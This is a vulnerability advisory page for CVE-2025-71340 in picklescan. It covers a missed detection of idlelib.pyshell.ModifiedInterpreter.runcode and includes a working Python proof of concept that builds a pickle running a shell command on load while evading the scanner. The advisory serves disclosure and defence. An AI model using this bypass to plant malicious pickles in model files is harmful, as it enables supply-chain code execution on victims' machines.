🛡️ CVE-2025-71340 — picklescan
Description
Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode
Summary
Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
```
from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace
class EvilIdlelibPyshellModifiedInterpreterRuncode:
def __reduce__(self):
payload = "__import__('os').system('whoami')"
fake_self = SimpleNamespace(
locals={},
tkconsole=SimpleNamespace(
executing=False,
beginexecuting=str,
canceled=False,
closing=False,
showtraceback=str,
endexecuting=str,
stderr=None,
text=SimpleNamespace(),
getvar=str
),
rpcclt=None,
debugger=None,
checklinecache=str,
active_seq=None,
showtraceback=str,
canceled=False,
closing=False
)
return ModifiedInterpreter.runcode, (fake_self, payload)
```
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.
Affected software
CVE-2025-71340 is recorded against 2 packages.
- picklescan (fixed in 0.0.30)
- unknown
Timeline and source
Published on 26 August 2025 and last revised on 8 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| picklescan | — | 0.0.30 |
| unknown | — | — |
References
Similar Threats
- High CVE-2025-71339
- Critical CVE-2025-71321
- Critical CVE-2025-71320
- High CVE-2025-71322
- Critical CVE-2025-71323
More CVE 2025 advisories
Browse all of CVE 2025 in the advisory index.
Site Security Check
Is picklescan part of your stack?
CVE-2025-71340 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.